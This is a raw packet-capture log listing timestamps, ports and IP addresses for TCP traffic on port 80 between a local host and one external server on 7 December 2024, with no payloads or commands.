Dec 7, 2024 15:06:44.473572969 CET	80	49738	185.215.113.206	192.168.2.8
Dec 7, 2024 15:06:44.473620892 CET	49738	80	192.168.2.8	185.215.113.206
Dec 7, 2024 15:06:44.474477053 CET	80	49738	185.215.113.206	192.168.2.8
Dec 7, 2024 15:06:44.474524975 CET	49738	80	192.168.2.8	185.215.113.206
Dec 7, 2024 15:06:44.474616051 CET	80	49738	185.215.113.206	192.168.2.8
Dec 7, 2024 15:06:44.474659920 CET	49738	80	192.168.2.8	185.215.113.206
Dec 7, 2024 15:06:44.475599051 CET	80	49738	185.215.113.206	192.168.2.8
Dec 7, 2024 15:06:44.475646973 CET	49738	80	192.168.2.8	185.215.113.206
Dec 7, 2024 15:06:44.475845098 CET	80	49738	185.215.113.206	192.168.2.8
Dec 7, 2024 15:06:44.475892067 CET	49738	80	192.168.2.8	185.215.113.206
Dec 7, 2024 15:06:44.574569941 CET	80	49738	185.215.113.206	192.168.2.8
Dec 7, 2024 15:06:44.574764013 CET	80	49738	185.215.113.206	192.168.2.8
Dec 7, 2024 15:06:44.574774981 CET	80	49738	185.215.113.206	192.168.2.8
Dec 7, 2024 15:06:44.574774027 CET	49738	80	192.168.2.8	185.215.113.206
Dec 7, 2024 15:06:44.574801922 CET	49738	80	192.168.2.8	185.215.113.206
Dec 7, 2024 15:06:44.574825048 CET	49738	80	192.168.2.8	185.215.113.206
Dec 7, 2024 15:06:44.575083017 CET	80	49738	185.215.113.206	192.168.2.8
Dec 7, 2024 15:06:44.575098038 CET	80	49738	185.215.113.206	192.168.2.8
Dec 7, 2024 15:06:44.575135946 CET	49738	80	192.168.2.8	185.215.113.206
Dec 7, 2024 15:06:44.575599909 CET	80	49738	185.215.113.206	192.168.2.8
Dec 7, 2024 15:06:44.575654030 CET	49738	80	192.168.2.8	185.215.113.206
Dec 7, 2024 15:06:44.575967073 CET	80	49738	185.215.113.206	192.168.2.8
Dec 7, 2024 15:06:44.576013088 CET	49738	80	192.168.2.8	185.215.113.206
Dec 7, 2024 15:06:44.576672077 CET	80	49738	185.215.113.206	192.168.2.8
Dec 7, 2024 15:06:44.576718092 CET	49738	80	192.168.2.8	185.215.113.206
Dec 7, 2024 15:06:44.576991081 CET	80	49738	185.215.113.206	192.168.2.8
Dec 7, 2024 15:06:44.577039003 CET	49738	80	192.168.2.8	185.215.113.206
Dec 7, 2024 15:06:44.577816963 CET	80	49738	185.215.113.206	192.168.2.8
Dec 7, 2024 15:06:44.577863932 CET	49738	80	192.168.2.8	185.215.113.206
Dec 7, 2024 15:06:44.577924013 CET	80	49738	185.215.113.206	192.168.2.8
Dec 7, 2024 15:06:44.577969074 CET	49738	80	192.168.2.8	185.215.113.206
Dec 7, 2024 15:06:44.579108953 CET	80	49738	185.215.113.206	192.168.2.8
Dec 7, 2024 15:06:44.579178095 CET	49738	80	192.168.2.8	185.215.113.206
Dec 7, 2024 15:06:44.579348087 CET	80	49738	185.215.113.206	192.168.2.8
Dec 7, 2024 15:06:44.579394102 CET	49738	80	192.168.2.8	185.215.113.206
Dec 7, 2024 15:06:44.580029011 CET	80	49738	185.215.113.206	192.168.2.8
Dec 7, 2024 15:06:44.580077887 CET	49738	80	192.168.2.8	185.215.113.206
Dec 7, 2024 15:06:44.580208063 CET	80	49738	185.215.113.206	192.168.2.8
Dec 7, 2024 15:06:44.580256939 CET	49738	80	192.168.2.8	185.215.113.206
Dec 7, 2024 15:06:44.581119061 CET	80	49738	185.215.113.206	192.168.2.8
Dec 7, 2024 15:06:44.581165075 CET	49738	80	192.168.2.8	185.215.113.206
Dec 7, 2024 15:06:44.581199884 CET	80	49738	185.215.113.206	192.168.2.8
Dec 7, 2024 15:06:44.581274033 CET	49738	80	192.168.2.8	185.215.113.206
Dec 7, 2024 15:06:44.582150936 CET	80	49738	185.215.113.206	192.168.2.8
Dec 7, 2024 15:06:44.582201958 CET	49738	80	192.168.2.8	185.215.113.206
Dec 7, 2024 15:06:44.582729101 CET	80	49738	185.215.113.206	192.168.2.8
Dec 7, 2024 15:06:44.582776070 CET	49738	80	192.168.2.8	185.215.113.206
Dec 7, 2024 15:06:44.583420038 CET	80	49738	185.215.113.206	192.168.2.8
Dec 7, 2024 15:06:44.583473921 CET	49738	80	192.168.2.8	185.215.113.206
Dec 7, 2024 15:06:44.583813906 CET	80	49738	185.215.113.206	192.168.2.8
Dec 7, 2024 15:06:44.583856106 CET	49738	80	192.168.2.8	185.215.113.206
Dec 7, 2024 15:06:44.584405899 CET	80	49738	185.215.113.206	192.168.2.8
Dec 7, 2024 15:06:44.584453106 CET	49738	80	192.168.2.8	185.215.113.206
Dec 7, 2024 15:06:44.584491968 CET	80	49738	185.215.113.206	192.168.2.8
Dec 7, 2024 15:06:44.584533930 CET	49738	80	192.168.2.8	185.215.113.206
Dec 7, 2024 15:06:44.585534096 CET	80	49738	185.215.113.206	192.168.2.8
Dec 7, 2024 15:06:44.585581064 CET	49738	80	192.168.2.8	185.215.113.206
Dec 7, 2024 15:06:44.585797071 CET	80	49738	185.215.113.206	192.168.2.8
Dec 7, 2024 15:06:44.585839987 CET	49738	80	192.168.2.8	185.215.113.206
Dec 7, 2024 15:06:44.586637974 CET	80	49738	185.215.113.206	192.168.2.8
Dec 7, 2024 15:06:44.586662054 CET	80	49738	185.215.113.206	192.168.2.8
Dec 7, 2024 15:06:44.586688042 CET	49738	80	192.168.2.8	185.215.113.206
Dec 7, 2024 15:06:44.586698055 CET	49738	80	192.168.2.8	185.215.113.206
Dec 7, 2024 15:06:44.588279009 CET	80	49738	185.215.113.206	192.168.2.8
Dec 7, 2024 15:06:44.588330984 CET	49738	80	192.168.2.8	185.215.113.206
Dec 7, 2024 15:06:44.588438988 CET	80	49738	185.215.113.206	192.168.2.8
Dec 7, 2024 15:06:44.588485956 CET	49738	80	192.168.2.8	185.215.113.206
Dec 7, 2024 15:06:44.588800907 CET	80	49738	185.215.113.206	192.168.2.8
Dec 7, 2024 15:06:44.588845015 CET	49738	80	192.168.2.8	185.215.113.206
Dec 7, 2024 15:06:44.589730024 CET	80	49738	185.215.113.206	192.168.2.8
Dec 7, 2024 15:06:44.589781046 CET	49738	80	192.168.2.8	185.215.113.206
Dec 7, 2024 15:06:44.589900017 CET	80	49738	185.215.113.206	192.168.2.8
Dec 7, 2024 15:06:44.589946985 CET	49738	80	192.168.2.8	185.215.113.206
Dec 7, 2024 15:06:44.590045929 CET	80	49738	185.215.113.206	192.168.2.8
Dec 7, 2024 15:06:44.590092897 CET	49738	80	192.168.2.8	185.215.113.206
Dec 7, 2024 15:06:44.591038942 CET	80	49738	185.215.113.206	192.168.2.8
Dec 7, 2024 15:06:44.591088057 CET	49738	80	192.168.2.8	185.215.113.206
Dec 7, 2024 15:06:44.591227055 CET	80	49738	185.215.113.206	192.168.2.8
Dec 7, 2024 15:06:44.591272116 CET	49738	80	192.168.2.8	185.215.113.206
Dec 7, 2024 15:06:44.592197895 CET	80	49738	185.215.113.206	192.168.2.8
Dec 7, 2024 15:06:44.592247963 CET	49738	80	192.168.2.8	185.215.113.206
Dec 7, 2024 15:06:44.592293978 CET	80	49738	185.215.113.206	192.168.2.8
Dec 7, 2024 15:06:44.592335939 CET	49738	80	192.168.2.8	185.215.113.206
Dec 7, 2024 15:06:44.593472958 CET	80	49738	185.215.113.206	192.168.2.8
Dec 7, 2024 15:06:44.593518019 CET	49738	80	192.168.2.8	185.215.113.206
Dec 7, 2024 15:06:44.593744993 CET	80	49738	185.215.113.206	192.168.2.8
Dec 7, 2024 15:06:44.593791962 CET	49738	80	192.168.2.8	185.215.113.206
Dec 7, 2024 15:06:44.594353914 CET	80	49738	185.215.113.206	192.168.2.8
Dec 7, 2024 15:06:44.594399929 CET	49738	80	192.168.2.8	185.215.113.206
Dec 7, 2024 15:06:44.594748974 CET	80	49738	185.215.113.206	192.168.2.8
Dec 7, 2024 15:06:44.594794989 CET	49738	80	192.168.2.8	185.215.113.206
Dec 7, 2024 15:06:44.595487118 CET	80	49738	185.215.113.206	192.168.2.8
Dec 7, 2024 15:06:44.595535040 CET	49738	80	192.168.2.8	185.215.113.206
Dec 7, 2024 15:06:44.595540047 CET	80	49738	185.215.113.206	192.168.2.8
Dec 7, 2024 15:06:44.595571041 CET	49738	80	192.168.2.8	185.215.113.206
Dec 7, 2024 15:06:44.596580029 CET	80	49738	185.215.113.206	192.168.2.8
Dec 7, 2024 15:06:44.596628904 CET	49738	80	192.168.2.8	185.215.113.206
Dec 7, 2024 15:06:44.597453117 CET	80	49738	185.215.113.206	192.168.2.8
Dec 7, 2024 15:06:44.597500086 CET	49738	80	192.168.2.8	185.215.113.206
Dec 7, 2024 15:06:44.597707987 CET	80	49738	185.215.113.206	192.168.2.8
Dec 7, 2024 15:06:44.597754002 CET	49738	80	192.168.2.8	185.215.113.206
Dec 7, 2024 15:06:44.598824024 CET	80	49738	185.215.113.206	192.168.2.8
Dec 7, 2024 15:06:44.598835945 CET	80	49738	185.215.113.206	192.168.2.8
Dec 7, 2024 15:06:44.598864079 CET	80	49738	185.215.113.206	192.168.2.8
Dec 7, 2024 15:06:44.598875999 CET	49738	80	192.168.2.8	185.215.113.206
Dec 7, 2024 15:06:44.598901033 CET	49738	80	192.168.2.8	185.215.113.206
Dec 7, 2024 15:06:44.599940062 CET	80	49738	185.215.113.206	192.168.2.8
Dec 7, 2024 15:06:44.599988937 CET	49738	80	192.168.2.8	185.215.113.206
Dec 7, 2024 15:06:44.599989891 CET	80	49738	185.215.113.206	192.168.2.8
Dec 7, 2024 15:06:44.600023031 CET	49738	80	192.168.2.8	185.215.113.206
Dec 7, 2024 15:06:44.601038933 CET	80	49738	185.215.113.206	192.168.2.8
Dec 7, 2024 15:06:44.601085901 CET	49738	80	192.168.2.8	185.215.113.206
Dec 7, 2024 15:06:44.602186918 CET	80	49738	185.215.113.206	192.168.2.8
Dec 7, 2024 15:06:44.602200985 CET	80	49738	185.215.113.206	192.168.2.8
Dec 7, 2024 15:06:44.602236032 CET	49738	80	192.168.2.8	185.215.113.206
Dec 7, 2024 15:06:44.602256060 CET	49738	80	192.168.2.8	185.215.113.206
Dec 7, 2024 15:06:44.602314949 CET	80	49738	185.215.113.206	192.168.2.8
Dec 7, 2024 15:06:44.602359056 CET	49738	80	192.168.2.8	185.215.113.206
Dec 7, 2024 15:06:44.603235006 CET	80	49738	185.215.113.206	192.168.2.8
Dec 7, 2024 15:06:44.603282928 CET	49738	80	192.168.2.8	185.215.113.206
Dec 7, 2024 15:06:44.603583097 CET	80	49738	185.215.113.206	192.168.2.8
Dec 7, 2024 15:06:44.603625059 CET	49738	80	192.168.2.8	185.215.113.206
Dec 7, 2024 15:06:44.604352951 CET	80	49738	185.215.113.206	192.168.2.8
Dec 7, 2024 15:06:44.604403019 CET	49738	80	192.168.2.8	185.215.113.206
Dec 7, 2024 15:06:44.605122089 CET	80	49738	185.215.113.206	192.168.2.8
Dec 7, 2024 15:06:44.605168104 CET	49738	80	192.168.2.8	185.215.113.206
Dec 7, 2024 15:06:44.605479956 CET	80	49738	185.215.113.206	192.168.2.8
Dec 7, 2024 15:06:44.605525970 CET	49738	80	192.168.2.8	185.215.113.206
Dec 7, 2024 15:06:44.605829954 CET	80	49738	185.215.113.206	192.168.2.8
Dec 7, 2024 15:06:44.605875015 CET	49738	80	192.168.2.8	185.215.113.206
Dec 7, 2024 15:06:44.606498957 CET	80	49738	185.215.113.206	192.168.2.8
Dec 7, 2024 15:06:44.606544018 CET	49738	80	192.168.2.8	185.215.113.206
Dec 7, 2024 15:06:44.641815901 CET	80	49738	185.215.113.206	192.168.2.8
Dec 7, 2024 15:06:44.641892910 CET	49738	80	192.168.2.8	185.215.113.206
Dec 7, 2024 15:06:44.642297029 CET	80	49738	185.215.113.206	192.168.2.8
Dec 7, 2024 15:06:44.642307997 CET	80	49738	185.215.113.206	192.168.2.8
Dec 7, 2024 15:06:44.642364979 CET	49738	80	192.168.2.8	185.215.113.206
Dec 7, 2024 15:06:44.642529964 CET	80	49738	185.215.113.206	192.168.2.8
Dec 7, 2024 15:06:44.642541885 CET	80	49738	185.215.113.206	192.168.2.8
Dec 7, 2024 15:06:44.642582893 CET	49738	80	192.168.2.8	185.215.113.206
Dec 7, 2024 15:06:44.643603086 CET	80	49738	185.215.113.206	192.168.2.8
Dec 7, 2024 15:06:44.643615007 CET	80	49738	185.215.113.206	192.168.2.8
Dec 7, 2024 15:06:44.643656015 CET	49738	80	192.168.2.8	185.215.113.206
Dec 7, 2024 15:06:44.644726038 CET	80	49738	185.215.113.206	192.168.2.8
Dec 7, 2024 15:06:44.644776106 CET	49738	80	192.168.2.8	185.215.113.206
Dec 7, 2024 15:06:44.644927979 CET	80	49738	185.215.113.206	192.168.2.8
Dec 7, 2024 15:06:44.644974947 CET	49738	80	192.168.2.8	185.215.113.206
Dec 7, 2024 15:06:44.645881891 CET	80	49738	185.215.113.206	192.168.2.8
Dec 7, 2024 15:06:44.645891905 CET	80	49738	185.215.113.206	192.168.2.8
Dec 7, 2024 15:06:44.645930052 CET	49738	80	192.168.2.8	185.215.113.206
Dec 7, 2024 15:06:44.646908045 CET	80	49738	185.215.113.206	192.168.2.8
Dec 7, 2024 15:06:44.646954060 CET	49738	80	192.168.2.8	185.215.113.206
Dec 7, 2024 15:06:44.646998882 CET	80	49738	185.215.113.206	192.168.2.8
Dec 7, 2024 15:06:44.647038937 CET	49738	80	192.168.2.8	185.215.113.206
Dec 7, 2024 15:06:44.648013115 CET	80	49738	185.215.113.206	192.168.2.8
Dec 7, 2024 15:06:44.648062944 CET	49738	80	192.168.2.8	185.215.113.206
Dec 7, 2024 15:06:44.649132013 CET	80	49738	185.215.113.206	192.168.2.8
Dec 7, 2024 15:06:44.649175882 CET	80	49738	185.215.113.206	192.168.2.8
Dec 7, 2024 15:06:44.649180889 CET	49738	80	192.168.2.8	185.215.113.206
Dec 7, 2024 15:06:44.649193048 CET	80	49738	185.215.113.206	192.168.2.8
Dec 7, 2024 15:06:44.649213076 CET	49738	80	192.168.2.8	185.215.113.206
Dec 7, 2024 15:06:44.649230003 CET	49738	80	192.168.2.8	185.215.113.206
Dec 7, 2024 15:06:44.650270939 CET	80	49738	185.215.113.206	192.168.2.8
Dec 7, 2024 15:06:44.650321960 CET	49738	80	192.168.2.8	185.215.113.206
Dec 7, 2024 15:06:44.651490927 CET	80	49738	185.215.113.206	192.168.2.8
Dec 7, 2024 15:06:44.651509047 CET	80	49738	185.215.113.206	192.168.2.8
Dec 7, 2024 15:06:44.651520967 CET	80	49738	185.215.113.206	192.168.2.8
Dec 7, 2024 15:06:44.651540995 CET	49738	80	192.168.2.8	185.215.113.206
Dec 7, 2024 15:06:44.651552916 CET	49738	80	192.168.2.8	185.215.113.206
Dec 7, 2024 15:06:44.651563883 CET	49738	80	192.168.2.8	185.215.113.206
Dec 7, 2024 15:06:44.652472019 CET	80	49738	185.215.113.206	192.168.2.8
Dec 7, 2024 15:06:44.652529001 CET	49738	80	192.168.2.8	185.215.113.206
Dec 7, 2024 15:06:44.652761936 CET	80	49738	185.215.113.206	192.168.2.8
Dec 7, 2024 15:06:44.652806044 CET	49738	80	192.168.2.8	185.215.113.206
Dec 7, 2024 15:06:44.653615952 CET	80	49738	185.215.113.206	192.168.2.8
Dec 7, 2024 15:06:44.653661013 CET	49738	80	192.168.2.8	185.215.113.206
Dec 7, 2024 15:06:44.653805971 CET	80	49738	185.215.113.206	192.168.2.8
Dec 7, 2024 15:06:44.653852940 CET	49738	80	192.168.2.8	185.215.113.206
Dec 7, 2024 15:06:44.654710054 CET	80	49738	185.215.113.206	192.168.2.8
Dec 7, 2024 15:06:44.654762030 CET	49738	80	192.168.2.8	185.215.113.206
Dec 7, 2024 15:06:44.654802084 CET	80	49738	185.215.113.206	192.168.2.8
Dec 7, 2024 15:06:44.654846907 CET	49738	80	192.168.2.8	185.215.113.206
Dec 7, 2024 15:06:44.655807972 CET	80	49738	185.215.113.206	192.168.2.8
Dec 7, 2024 15:06:44.655852079 CET	49738	80	192.168.2.8	185.215.113.206
Dec 7, 2024 15:06:44.655980110 CET	80	49738	185.215.113.206	192.168.2.8
Dec 7, 2024 15:06:44.656024933 CET	49738	80	192.168.2.8	185.215.113.206
Dec 7, 2024 15:06:44.656920910 CET	80	49738	185.215.113.206	192.168.2.8
Dec 7, 2024 15:06:44.656934977 CET	80	49738	185.215.113.206	192.168.2.8
Dec 7, 2024 15:06:44.656968117 CET	49738	80	192.168.2.8	185.215.113.206
Dec 7, 2024 15:06:44.656979084 CET	49738	80	192.168.2.8	185.215.113.206
Dec 7, 2024 15:06:44.658035994 CET	80	49738	185.215.113.206	192.168.2.8
Dec 7, 2024 15:06:44.658087015 CET	49738	80	192.168.2.8	185.215.113.206
Dec 7, 2024 15:06:44.658339024 CET	80	49738	185.215.113.206	192.168.2.8
Dec 7, 2024 15:06:44.658380032 CET	49738	80	192.168.2.8	185.215.113.206
Dec 7, 2024 15:06:44.659137011 CET	80	49738	185.215.113.206	192.168.2.8
Dec 7, 2024 15:06:44.659183025 CET	49738	80	192.168.2.8	185.215.113.206
Dec 7, 2024 15:06:44.659468889 CET	80	49738	185.215.113.206	192.168.2.8
Dec 7, 2024 15:06:44.659508944 CET	49738	80	192.168.2.8	185.215.113.206
Dec 7, 2024 15:06:44.660244942 CET	80	49738	185.215.113.206	192.168.2.8
Dec 7, 2024 15:06:44.660315990 CET	49738	80	192.168.2.8	185.215.113.206
Dec 7, 2024 15:06:44.660646915 CET	80	49738	185.215.113.206	192.168.2.8
Dec 7, 2024 15:06:44.660693884 CET	49738	80	192.168.2.8	185.215.113.206
Dec 7, 2024 15:06:44.661350965 CET	80	49738	185.215.113.206	192.168.2.8
Dec 7, 2024 15:06:44.661398888 CET	49738	80	192.168.2.8	185.215.113.206
Dec 7, 2024 15:06:44.661688089 CET	80	49738	185.215.113.206	192.168.2.8
Dec 7, 2024 15:06:44.661735058 CET	49738	80	192.168.2.8	185.215.113.206
Dec 7, 2024 15:06:44.662597895 CET	80	49738	185.215.113.206	192.168.2.8
Dec 7, 2024 15:06:44.662609100 CET	80	49738	185.215.113.206	192.168.2.8
Dec 7, 2024 15:06:44.662647963 CET	49738	80	192.168.2.8	185.215.113.206
Dec 7, 2024 15:06:44.698848963 CET	80	49738	185.215.113.206	192.168.2.8
Dec 7, 2024 15:06:44.698929071 CET	49738	80	192.168.2.8	185.215.113.206
Dec 7, 2024 15:06:44.699023962 CET	80	49738	185.215.113.206	192.168.2.8
Dec 7, 2024 15:06:44.699068069 CET	49738	80	192.168.2.8	185.215.113.206
Dec 7, 2024 15:06:44.699407101 CET	80	49738	185.215.113.206	192.168.2.8
Dec 7, 2024 15:06:44.699423075 CET	80	49738	185.215.113.206	192.168.2.8
Dec 7, 2024 15:06:44.699453115 CET	49738	80	192.168.2.8	185.215.113.206
Dec 7, 2024 15:06:44.699467897 CET	49738	80	192.168.2.8	185.215.113.206
Dec 7, 2024 15:06:44.700522900 CET	80	49738	185.215.113.206	192.168.2.8
Dec 7, 2024 15:06:44.700575113 CET	49738	80	192.168.2.8	185.215.113.206
Dec 7, 2024 15:06:44.700825930 CET	80	49738	185.215.113.206	192.168.2.8
Dec 7, 2024 15:06:44.700872898 CET	49738	80	192.168.2.8	185.215.113.206
Dec 7, 2024 15:06:44.701612949 CET	80	49738	185.215.113.206	192.168.2.8
Dec 7, 2024 15:06:44.701659918 CET	49738	80	192.168.2.8	185.215.113.206
Dec 7, 2024 15:06:44.701740980 CET	80	49738	185.215.113.206	192.168.2.8
Dec 7, 2024 15:06:44.701831102 CET	49738	80	192.168.2.8	185.215.113.206
Dec 7, 2024 15:06:44.702853918 CET	80	49738	185.215.113.206	192.168.2.8
Dec 7, 2024 15:06:44.702902079 CET	49738	80	192.168.2.8	185.215.113.206
Dec 7, 2024 15:06:44.766247034 CET	80	49738	185.215.113.206	192.168.2.8
Dec 7, 2024 15:06:44.766324043 CET	80	49738	185.215.113.206	192.168.2.8
Dec 7, 2024 15:06:44.766331911 CET	49738	80	192.168.2.8	185.215.113.206
Dec 7, 2024 15:06:44.766417027 CET	49738	80	192.168.2.8	185.215.113.206
Dec 7, 2024 15:06:44.766570091 CET	80	49738	185.215.113.206	192.168.2.8
Dec 7, 2024 15:06:44.766618013 CET	49738	80	192.168.2.8	185.215.113.206
Dec 7, 2024 15:06:44.766685009 CET	80	49738	185.215.113.206	192.168.2.8
Dec 7, 2024 15:06:44.766727924 CET	49738	80	192.168.2.8	185.215.113.206
Dec 7, 2024 15:06:44.767739058 CET	80	49738	185.215.113.206	192.168.2.8
Dec 7, 2024 15:06:44.767788887 CET	49738	80	192.168.2.8	185.215.113.206
Dec 7, 2024 15:06:44.767838001 CET	80	49738	185.215.113.206	192.168.2.8
Dec 7, 2024 15:06:44.767884016 CET	49738	80	192.168.2.8	185.215.113.206
Dec 7, 2024 15:06:44.768826008 CET	80	49738	185.215.113.206	192.168.2.8
Dec 7, 2024 15:06:44.768882990 CET	49738	80	192.168.2.8	185.215.113.206
Dec 7, 2024 15:06:44.768918037 CET	80	49738	185.215.113.206	192.168.2.8
Dec 7, 2024 15:06:44.768969059 CET	49738	80	192.168.2.8	185.215.113.206
Dec 7, 2024 15:06:44.769613028 CET	80	49738	185.215.113.206	192.168.2.8
Dec 7, 2024 15:06:44.769661903 CET	49738	80	192.168.2.8	185.215.113.206
Dec 7, 2024 15:06:44.770015001 CET	80	49738	185.215.113.206	192.168.2.8
Dec 7, 2024 15:06:44.770062923 CET	49738	80	192.168.2.8	185.215.113.206
Dec 7, 2024 15:06:44.770745039 CET	80	49738	185.215.113.206	192.168.2.8
Dec 7, 2024 15:06:44.770796061 CET	49738	80	192.168.2.8	185.215.113.206
Dec 7, 2024 15:06:44.771095991 CET	80	49738	185.215.113.206	192.168.2.8
Dec 7, 2024 15:06:44.771142960 CET	49738	80	192.168.2.8	185.215.113.206
Dec 7, 2024 15:06:44.771806955 CET	80	49738	185.215.113.206	192.168.2.8
Dec 7, 2024 15:06:44.771858931 CET	49738	80	192.168.2.8	185.215.113.206
Dec 7, 2024 15:06:44.772047043 CET	80	49738	185.215.113.206	192.168.2.8
Dec 7, 2024 15:06:44.772095919 CET	49738	80	192.168.2.8	185.215.113.206
Dec 7, 2024 15:06:44.772917986 CET	80	49738	185.215.113.206	192.168.2.8
Dec 7, 2024 15:06:44.772965908 CET	49738	80	192.168.2.8	185.215.113.206
Dec 7, 2024 15:06:44.773188114 CET	80	49738	185.215.113.206	192.168.2.8
Dec 7, 2024 15:06:44.773237944 CET	49738	80	192.168.2.8	185.215.113.206
Dec 7, 2024 15:06:44.774271011 CET	80	49738	185.215.113.206	192.168.2.8
Dec 7, 2024 15:06:44.774317026 CET	49738	80	192.168.2.8	185.215.113.206
Dec 7, 2024 15:06:44.774576902 CET	80	49738	185.215.113.206	192.168.2.8
Dec 7, 2024 15:06:44.774625063 CET	49738	80	192.168.2.8	185.215.113.206
Dec 7, 2024 15:06:44.775703907 CET	80	49738	185.215.113.206	192.168.2.8
Dec 7, 2024 15:06:44.775755882 CET	49738	80	192.168.2.8	185.215.113.206
Dec 7, 2024 15:06:44.776106119 CET	80	49738	185.215.113.206	192.168.2.8
Dec 7, 2024 15:06:44.776153088 CET	49738	80	192.168.2.8	185.215.113.206
Dec 7, 2024 15:06:44.776629925 CET	80	49738	185.215.113.206	192.168.2.8
Dec 7, 2024 15:06:44.776676893 CET	49738	80	192.168.2.8	185.215.113.206
Dec 7, 2024 15:06:44.776735067 CET	80	49738	185.215.113.206	192.168.2.8
Dec 7, 2024 15:06:44.776779890 CET	49738	80	192.168.2.8	185.215.113.206
Dec 7, 2024 15:06:44.777343035 CET	80	49738	185.215.113.206	192.168.2.8
Dec 7, 2024 15:06:44.777369022 CET	80	49738	185.215.113.206	192.168.2.8
Dec 7, 2024 15:06:44.777394056 CET	49738	80	192.168.2.8	185.215.113.206
Dec 7, 2024 15:06:44.777410984 CET	49738	80	192.168.2.8	185.215.113.206
Dec 7, 2024 15:06:44.778458118 CET	80	49738	185.215.113.206	192.168.2.8
Dec 7, 2024 15:06:44.778505087 CET	49738	80	192.168.2.8	185.215.113.206
Dec 7, 2024 15:06:44.778599977 CET	80	49738	185.215.113.206	192.168.2.8
Dec 7, 2024 15:06:44.778645992 CET	49738	80	192.168.2.8	185.215.113.206
Dec 7, 2024 15:06:44.779582024 CET	80	49738	185.215.113.206	192.168.2.8
Dec 7, 2024 15:06:44.779638052 CET	49738	80	192.168.2.8	185.215.113.206
Dec 7, 2024 15:06:44.779942036 CET	80	49738	185.215.113.206	192.168.2.8
Dec 7, 2024 15:06:44.779983044 CET	49738	80	192.168.2.8	185.215.113.206
Dec 7, 2024 15:06:44.780697107 CET	80	49738	185.215.113.206	192.168.2.8
Dec 7, 2024 15:06:44.780745983 CET	49738	80	192.168.2.8	185.215.113.206
Dec 7, 2024 15:06:44.780806065 CET	80	49738	185.215.113.206	192.168.2.8
Dec 7, 2024 15:06:44.780848026 CET	49738	80	192.168.2.8	185.215.113.206
Dec 7, 2024 15:06:44.781801939 CET	80	49738	185.215.113.206	192.168.2.8
Dec 7, 2024 15:06:44.781852007 CET	49738	80	192.168.2.8	185.215.113.206
Dec 7, 2024 15:06:44.781908035 CET	80	49738	185.215.113.206	192.168.2.8
Dec 7, 2024 15:06:44.781953096 CET	49738	80	192.168.2.8	185.215.113.206
Dec 7, 2024 15:06:44.782927990 CET	80	49738	185.215.113.206	192.168.2.8
Dec 7, 2024 15:06:44.782978058 CET	49738	80	192.168.2.8	185.215.113.206
Dec 7, 2024 15:06:44.783163071 CET	80	49738	185.215.113.206	192.168.2.8
Dec 7, 2024 15:06:44.783209085 CET	49738	80	192.168.2.8	185.215.113.206
Dec 7, 2024 15:06:44.784019947 CET	80	49738	185.215.113.206	192.168.2.8
Dec 7, 2024 15:06:44.784069061 CET	49738	80	192.168.2.8	185.215.113.206
Dec 7, 2024 15:06:44.784832001 CET	80	49738	185.215.113.206	192.168.2.8
Dec 7, 2024 15:06:44.784881115 CET	49738	80	192.168.2.8	185.215.113.206
Dec 7, 2024 15:06:44.785187960 CET	80	49738	185.215.113.206	192.168.2.8
Dec 7, 2024 15:06:44.785200119 CET	80	49738	185.215.113.206	192.168.2.8
Dec 7, 2024 15:06:44.785238028 CET	49738	80	192.168.2.8	185.215.113.206
Dec 7, 2024 15:06:44.786211967 CET	80	49738	185.215.113.206	192.168.2.8
Dec 7, 2024 15:06:44.786261082 CET	49738	80	192.168.2.8	185.215.113.206
Dec 7, 2024 15:06:44.786725998 CET	80	49738	185.215.113.206	192.168.2.8
Dec 7, 2024 15:06:44.786773920 CET	49738	80	192.168.2.8	185.215.113.206
Dec 7, 2024 15:06:44.787355900 CET	80	49738	185.215.113.206	192.168.2.8
Dec 7, 2024 15:06:44.787403107 CET	49738	80	192.168.2.8	185.215.113.206
Dec 7, 2024 15:06:44.787893057 CET	80	49738	185.215.113.206	192.168.2.8
Dec 7, 2024 15:06:44.787940025 CET	49738	80	192.168.2.8	185.215.113.206
Dec 7, 2024 15:06:44.788460970 CET	80	49738	185.215.113.206	192.168.2.8
Dec 7, 2024 15:06:44.788472891 CET	80	49738	185.215.113.206	192.168.2.8
Dec 7, 2024 15:06:44.788510084 CET	49738	80	192.168.2.8	185.215.113.206
Dec 7, 2024 15:06:44.789566040 CET	80	49738	185.215.113.206	192.168.2.8
Dec 7, 2024 15:06:44.789613962 CET	49738	80	192.168.2.8	185.215.113.206
Dec 7, 2024 15:06:44.789921999 CET	80	49738	185.215.113.206	192.168.2.8
Dec 7, 2024 15:06:44.789971113 CET	49738	80	192.168.2.8	185.215.113.206
Dec 7, 2024 15:06:44.790652990 CET	80	49738	185.215.113.206	192.168.2.8
Dec 7, 2024 15:06:44.790699959 CET	49738	80	192.168.2.8	185.215.113.206
Dec 7, 2024 15:06:44.791559935 CET	80	49738	185.215.113.206	192.168.2.8
Dec 7, 2024 15:06:44.791609049 CET	49738	80	192.168.2.8	185.215.113.206
Dec 7, 2024 15:06:44.791771889 CET	80	49738	185.215.113.206	192.168.2.8
Dec 7, 2024 15:06:44.791815996 CET	49738	80	192.168.2.8	185.215.113.206
Dec 7, 2024 15:06:44.791999102 CET	80	49738	185.215.113.206	192.168.2.8
Dec 7, 2024 15:06:44.792045116 CET	49738	80	192.168.2.8	185.215.113.206
Dec 7, 2024 15:06:44.792906046 CET	80	49738	185.215.113.206	192.168.2.8
Dec 7, 2024 15:06:44.792952061 CET	49738	80	192.168.2.8	185.215.113.206
Dec 7, 2024 15:06:44.793061018 CET	80	49738	185.215.113.206	192.168.2.8
Dec 7, 2024 15:06:44.793107033 CET	49738	80	192.168.2.8	185.215.113.206
Dec 7, 2024 15:06:44.794011116 CET	80	49738	185.215.113.206	192.168.2.8
Dec 7, 2024 15:06:44.794078112 CET	49738	80	192.168.2.8	185.215.113.206
Dec 7, 2024 15:06:44.794801950 CET	80	49738	185.215.113.206	192.168.2.8
Dec 7, 2024 15:06:44.794848919 CET	49738	80	192.168.2.8	185.215.113.206
Dec 7, 2024 15:06:44.795109034 CET	80	49738	185.215.113.206	192.168.2.8
Dec 7, 2024 15:06:44.795120955 CET	80	49738	185.215.113.206	192.168.2.8
Dec 7, 2024 15:06:44.795161009 CET	49738	80	192.168.2.8	185.215.113.206
Dec 7, 2024 15:06:44.796200991 CET	80	49738	185.215.113.206	192.168.2.8
Dec 7, 2024 15:06:44.796247005 CET	49738	80	192.168.2.8	185.215.113.206
Dec 7, 2024 15:06:44.797307968 CET	80	49738	185.215.113.206	192.168.2.8
Dec 7, 2024 15:06:44.797319889 CET	80	49738	185.215.113.206	192.168.2.8
